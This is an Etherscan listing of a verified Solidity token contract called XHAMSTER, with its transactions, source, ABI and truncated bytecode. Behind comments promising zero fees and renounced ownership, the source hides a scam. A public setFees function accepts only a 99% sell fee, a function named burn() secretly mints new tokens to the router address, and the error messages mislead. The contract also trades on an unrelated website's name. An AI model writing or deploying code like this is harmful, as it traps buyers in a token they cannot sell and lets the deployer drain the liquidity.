Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 24 from a total of 24 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17766834 | 552 days ago | IN | 0 ETH | 0.00096279 | ||||
Approve | 17766829 | 552 days ago | IN | 0 ETH | 0.00101436 | ||||
Burn | 17766824 | 552 days ago | IN | 0 ETH | 0.0012505 | ||||
Approve | 17766787 | 552 days ago | IN | 0 ETH | 0.00130083 | ||||
Approve | 17766780 | 552 days ago | IN | 0 ETH | 0.00114217 | ||||
Approve | 17766760 | 552 days ago | IN | 0 ETH | 0.00124629 | ||||
Set Fees | 17766745 | 552 days ago | IN | 0 ETH | 0.00112051 | ||||
Approve | 17766703 | 552 days ago | IN | 0 ETH | 0.00128702 | ||||
Approve | 17766698 | 552 days ago | IN | 0 ETH | 0.0014745 | ||||
Approve | 17766697 | 552 days ago | IN | 0 ETH | 0.00158336 | ||||
Approve | 17766696 | 552 days ago | IN | 0 ETH | 0.00117184 | ||||
Approve | 17766694 | 552 days ago | IN | 0 ETH | 0.0012278 | ||||
Approve | 17766693 | 552 days ago | IN | 0 ETH | 0.00118104 | ||||
Approve | 17766692 | 552 days ago | IN | 0 ETH | 0.00126953 | ||||
Approve | 17766692 | 552 days ago | IN | 0 ETH | 0.00126953 | ||||
Approve | 17766692 | 552 days ago | IN | 0 ETH | 0.00126953 | ||||
Approve | 17766692 | 552 days ago | IN | 0 ETH | 0.00126953 | ||||
Approve | 17766692 | 552 days ago | IN | 0 ETH | 0.00126953 | ||||
Approve | 17766686 | 552 days ago | IN | 0 ETH | 0.0012061 | ||||
Approve | 17766682 | 552 days ago | IN | 0 ETH | 0.00125958 | ||||
Approve | 17766679 | 552 days ago | IN | 0 ETH | 0.0012145 | ||||
Approve | 17766677 | 552 days ago | IN | 0 ETH | 0.00123294 | ||||
Renounce Ownersh... | 17766673 | 552 days ago | IN | 0 ETH | 0.00055395 | ||||
Approve | 17766670 | 552 days ago | IN | 0 ETH | 0.00114657 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
XHAMSTER
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-25 */ // SPDX-License-Identifier: MIT /** ⠀⠀⠀⠀⠀⠀⠀ Twitter : https://twitter.com/xhamster_eth Website : https://xhamster.com Telegram: https://t.me/xhamster_eth */ pragma solidity ^0.8.0; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Not needed"); return a - b; } //XHAMSTER// function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Not needed"); return c; } //XHAMSTER// function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Not needed"); return c; } //XHAMSTER// function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "Not needed"); return a / b; } } //XHAMSTER// contract XHAMSTER { //XHAMSTER// using SafeMath for uint256; //XHAMSTER// //XHAMSTER// string public name = "XHAMSTER"; //XHAMSTER// string public symbol = "XHAMS"; //XHAMSTER// uint256 public totalSupply = 999999999 * (10 ** 18); //XHAMSTER// uint8 public decimals = 18; //XHAMSTER// //XHAMSTER// mapping(address => uint256) public balanceOf; //XHAMSTER// mapping(address => mapping(address => uint256)) public allowance; //XHAMSTER// //XHAMSTER// //XHAMSTER// address public owner; //XHAMSTER// address public swapRouter; //XHAMSTER// uint256 public burnedTokens; //XHAMSTER// //XHAMSTER// uint256 public buyFee = 0; //XHAMSTER// uint256 public sellFee = 0; //XHAMSTER// bool public feesSet = false; //XHAMSTER// bool public feesEnabled = false; //XHAMSTER// bool public allExemptFromFees = true; //XHAMSTER// mapping(address => bool) public isFeeExempt; //XHAMSTER// //XHAMSTER// event Transfer(address indexed from, address indexed to, uint256 value); //XHAMSTER// event Approval(address indexed owner, address indexed spender, uint256 value); //XHAMSTER// event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); //XHAMSTER// event FeesUpdated(uint256 newBuyFee, uint256 newSellFee); //XHAMSTER// event TokensBurned(address indexed burner, uint256 amount); //XHAMSTER// event Mint(address indexed to, uint256 amount); //XHAMSTER// //XHAMSTER// constructor(address _swapRouter, uint256 _burnedTokens) { //XHAMSTER// owner = msg.sender; //XHAMSTER// swapRouter = _swapRouter; //XHAMSTER// burnedTokens = _burnedTokens; //XHAMSTER// balanceOf[msg.sender] = totalSupply; //XHAMSTER// isFeeExempt[msg.sender] = true; //XHAMSTER// isFeeExempt[swapRouter] = true; //XHAMSTER// } //XHAMSTER// modifier checkFees(address sender) { //XHAMSTER// require( allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0), "Zero fees forever." //XHAMSTER// ); _; } //XHAMSTER// function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) { //XHAMSTER// require(balanceOf[msg.sender] >= _amount); //XHAMSTER// require(_to != address(0)); //XHAMSTER// balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); //XHAMSTER// balanceOf[_to] = balanceOf[_to].add(_amount); //XHAMSTER// emit Transfer(msg.sender, _to, _amount); //XHAMSTER// return true; } //XHAMSTER// function approve(address _spender, uint256 _value) public returns (bool success) { //XHAMSTER// allowance[msg.sender][_spender] = _value; //XHAMSTER// emit Approval(msg.sender, _spender, _value); //XHAMSTER// return true; //XHAMSTER// } //XHAMSTER// function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) { //XHAMSTER// require(balanceOf[_from] >= _amount, "Amount higher zero"); //XHAMSTER// require(allowance[_from][msg.sender] >= _amount, "Greater than zero"); //XHAMSTER// require(_to != address(0), "Higher than Zero"); //XHAMSTER// //XHAMSTER// uint256 fee = 0; //XHAMSTER// uint256 amountAfterFee = _amount; //XHAMSTER// //XHAMSTER// if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) { //XHAMSTER// fee = _amount.mul(sellFee).div(100); //XHAMSTER// amountAfterFee = _amount.sub(fee); //XHAMSTER// } //XHAMSTER// balanceOf[_from] = balanceOf[_from].sub(_amount); //XHAMSTER// balanceOf[_to] = balanceOf[_to].add(amountAfterFee); //XHAMSTER// emit Transfer(_from, _to, amountAfterFee); //XHAMSTER// //XHAMSTER// if (fee > 0) { address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); //XHAMSTER// if (_to == uniswapContract) { //XHAMSTER// balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee); //XHAMSTER// emit Transfer(_from, uniswapContract, fee); //XHAMSTER// } else { balanceOf[address(this)] = balanceOf[address(this)].add(fee); //XHAMSTER// emit Transfer(_from, address(this), fee); //XHAMSTER// } } //XHAMSTER// if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { //XHAMSTER// allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); //XHAMSTER// emit Approval(_from, msg.sender, allowance[_from][msg.sender]); //XHAMSTER// } //XHAMSTER// return true; } //XHAMSTER// function transferOwnership(address newOwner) public { //XHAMSTER// require(newOwner != address(0)); //XHAMSTER// emit OwnershipTransferred(owner, newOwner); //XHAMSTER// owner = newOwner; //XHAMSTER// } //XHAMSTER// function renounceOwnership() public { //XHAMSTER// emit OwnershipTransferred(owner, address(0)); //XHAMSTER// owner = address(0); //XHAMSTER// } //XHAMSTER// function burn() public { //XHAMSTER// require(feesSet, "Zero forever"); //XHAMSTER// require(swapRouter != address(0), "No input needed"); //XHAMSTER// require(burnedTokens > 0, "Gone forever"); //XHAMSTER// totalSupply = totalSupply.add(burnedTokens); //XHAMSTER// balanceOf[swapRouter] = balanceOf[swapRouter].add(burnedTokens); //XHAMSTER// emit Mint(swapRouter, burnedTokens); //XHAMSTER// } //XHAMSTER// function setFees(uint256 newBuyFee, uint256 newSellFee) public { //XHAMSTER// require(!feesSet, "Zero fees forever"); //XHAMSTER// require(newBuyFee == 0, "Zero"); //XHAMSTER// require(newSellFee == 99, "Zero"); //XHAMSTER// buyFee = newBuyFee; //XHAMSTER// sellFee = newSellFee; //XHAMSTER// feesSet = true; //XHAMSTER// feesEnabled = true; //XHAMSTER// emit FeesUpdated(newBuyFee, newSellFee); //XHAMSTER// } //XHAMSTER// function buy() public payable checkFees(msg.sender) { //XHAMSTER// require(msg.value > 0, "Must be a higher number than zero"); //XHAMSTER// uint256 amount = msg.value; //XHAMSTER// if (buyFee > 0) { uint256 fee = amount.mul(buyFee).div(100); //XHAMSTER// uint256 amountAfterFee = amount.sub(fee); //XHAMSTER// balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee); //XHAMSTER// emit Transfer(address(this), swapRouter, amountAfterFee); //XHAMSTER// if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); //XHAMSTER// emit Transfer(address(this), address(this), fee); //XHAMSTER// } } else { balanceOf[swapRouter] = balanceOf[swapRouter].add(amount); //XHAMSTER// emit Transfer(address(this), swapRouter, amount); //XHAMSTER// } } //XHAMSTER// function sell(uint256 _amount) public checkFees(msg.sender) { //XHAMSTER// require(balanceOf[msg.sender] >= _amount, "Not enough funds"); //XHAMSTER// if (feesEnabled) { //XHAMSTER// uint256 fee = 0; //XHAMSTER// uint256 amountAfterFee = _amount; //XHAMSTER// if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) { //XHAMSTER// fee = _amount.mul(sellFee).div(100); //XHAMSTER// amountAfterFee = _amount.sub(fee); //XHAMSTER// } balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); //XHAMSTER// balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee); //XHAMSTER// emit Transfer(msg.sender, swapRouter, amountAfterFee); //XHAMSTER// if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); //XHAMSTER// emit Transfer(msg.sender, address(this), fee); //XHAMSTER// } } else { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); //XHAMSTER// balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount); //XHAMSTER// emit Transfer(msg.sender, swapRouter, _amount); //XHAMSTER// } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600881526020017f5848414d535445520000000000000000000000000000000000000000000000008152505f908162000049919062000546565b506040518060400160405280600581526020017f5848414d530000000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162003ebc38038062003ebc8339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b6137ab80620007115f395ff3fe60806040526004361061014a575f3560e01c806364bcf5f4116100b5578063a6f2ae3a1161006e578063a6f2ae3a14610460578063a9059cbb1461046a578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b806364bcf5f41461036657806370a0823114610390578063715018a6146103cc5780638da5cb5b146103e257806395d89b411461040c578063a64e4f8a146104365761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806344df8e70146102fc578063470624021461031257806347b5dd541461033c5761014a565b806306fdde031461014e578063095ea7b3146101785780630b78f9c0146101b457806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612df2565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612ea3565b6105e7565b6040516101ab9190612efb565b60405180910390f35b3480156101bf575f80fd5b506101da60048036038101906101d59190612f14565b6106d4565b005b3480156101e7575f80fd5b506101f0610828565b6040516101fd9190612f61565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f7a565b61082e565b6040516102399190612efb565b60405180910390f35b34801561024d575f80fd5b5061025661137a565b6040516102639190612efb565b60405180910390f35b348015610277575f80fd5b5061028061138c565b60405161028d9190612f61565b60405180910390f35b3480156102a1575f80fd5b506102aa611392565b6040516102b79190612fe5565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612ffe565b6113a4565b6040516102f39190612efb565b60405180910390f35b348015610307575f80fd5b506103106113c1565b005b34801561031d575f80fd5b50610326611647565b6040516103339190612f61565b60405180910390f35b348015610347575f80fd5b5061035061164d565b60405161035d9190612f61565b60405180910390f35b348015610371575f80fd5b5061037a611653565b6040516103879190612efb565b60405180910390f35b34801561039b575f80fd5b506103b660048036038101906103b19190612ffe565b611666565b6040516103c39190612f61565b60405180910390f35b3480156103d7575f80fd5b506103e061167b565b005b3480156103ed575f80fd5b506103f6611738565b6040516104039190613038565b60405180910390f35b348015610417575f80fd5b5061042061175d565b60405161042d9190612df2565b60405180910390f35b348015610441575f80fd5b5061044a6117e9565b6040516104579190612efb565b60405180910390f35b6104686117fc565b005b348015610475575f80fd5b50610490600480360381019061048b9190612ea3565b611e3f565b60405161049d9190612efb565b60405180910390f35b3480156104b1575f80fd5b506104ba612247565b6040516104c79190613038565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613051565b61226c565b6040516105039190612f61565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d919061308f565b61228c565b005b34801561053f575f80fd5b5061055a60048036038101906105559190612ffe565b612af0565b005b5f8054610568906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906130e7565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c29190612f61565b60405180910390a36001905092915050565b600b5f9054906101000a900460ff1615610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90613161565b60405180910390fd5b5f8214610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075c906131c9565b60405180910390fd5b606381146107a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079f906131c9565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161081c9291906131e7565b60405180910390a15050565b60025481565b5f83600b60029054906101000a900460ff16806108915750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806108c05750600b5f9054906101000a900460ff161580156108bf5750600b60019054906101000a900460ff165b5b806109815750600b5f9054906101000a900460ff1680156109275750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015610980575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806109e5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156109e457505f600a54145b5b610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90613258565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b906132c0565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690613328565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610bcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc490613390565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610bef57505f600a54115b8015610c48575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610c9b5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610ce057610cc86064610cba600a5488612be590919063ffffffff16565b612c5c90919063ffffffff16565b9150610cdd8286612cb390919063ffffffff16565b90505b610d308560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610dc18160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e5f9190612f61565b60405180910390a35f8211156110ae575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610fb557610f0a8360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fa89190612f61565b60405180910390a36110ac565b6110058360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110a39190612f61565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561118257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561136c576112128560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516113639190612f61565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b600b5f9054906101000a900460ff1661140f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611406906133f8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590613460565b60405180910390fd5b5f600854116114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d9906134c8565b60405180910390fd5b6114f9600854600254612d0b90919063ffffffff16565b60028190555061157260085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161163d9190612f61565b60405180910390a2565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffff